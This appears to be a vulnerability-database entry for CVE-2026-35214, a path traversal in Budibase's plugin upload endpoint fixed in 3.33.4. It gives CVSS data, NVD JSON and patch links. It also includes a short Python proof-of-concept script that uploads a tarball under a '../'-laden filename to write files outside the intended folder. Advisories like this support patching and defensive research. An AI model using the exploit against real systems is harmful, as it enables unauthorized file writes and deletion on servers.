Security Vulnerability Report
中文
CVE-2026-35214 CVSS 8.7 HIGH

CVE-2026-35214

Published: 2026-04-03 16:16:42
Last Modified: 2026-04-08 21:19:13

Description

Budibase is an open-source low-code platform. Prior to version 3.33.4, the plugin file upload endpoint (POST /api/plugin/upload) passes the user-supplied filename directly to createTempFolder() without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing ../ to delete arbitrary directories via rmSync and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access. This issue has been patched in version 3.33.4.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:* - VULNERABLE
Budibase < 3.33.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for the vulnerable endpoint target_url = "http://vulnerable-host:10000/api/plugin/upload" # The attacker needs a valid session cookie with Global Builder privileges cookies = { "budibase:auth": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." } # Prepare a malicious tar.gz file containing the payload # The filename includes '../' to traverse directories files = { 'file': ('../../tmp/evil_payload.tar.gz', open('evil_payload.tar.gz', 'rb'), 'application/gzip') } # Send the POST request to upload the plugin response = requests.post(target_url, files=files, cookies=cookies) # Check the response if response.status_code == 200: print("[+] Exploit successful! File written to arbitrary path.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35214", "sourceIdentifier": "[email protected]", "published": "2026-04-03T16:16:41.607", "lastModified": "2026-04-08T21:19:13.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Budibase is an open-source low-code platform. Prior to version 3.33.4, the plugin file upload endpoint (POST /api/plugin/upload) passes the user-supplied filename directly to createTempFolder() without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing ../ to delete arbitrary directories via rmSync and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access. This issue has been patched in version 3.33.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.33.4", "matchCriteriaId": "B316A29C-7C2F-4102-ACF6-DDB06B3D0AD5"}]}]}], "references": [{"url": "https://github.com/Budibase/budibase/commit/6344d06d703660fd05995e61d581593c2349c879", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Budibase/budibase/pull/18240", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/Budibase/budibase/releases/tag/3.33.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}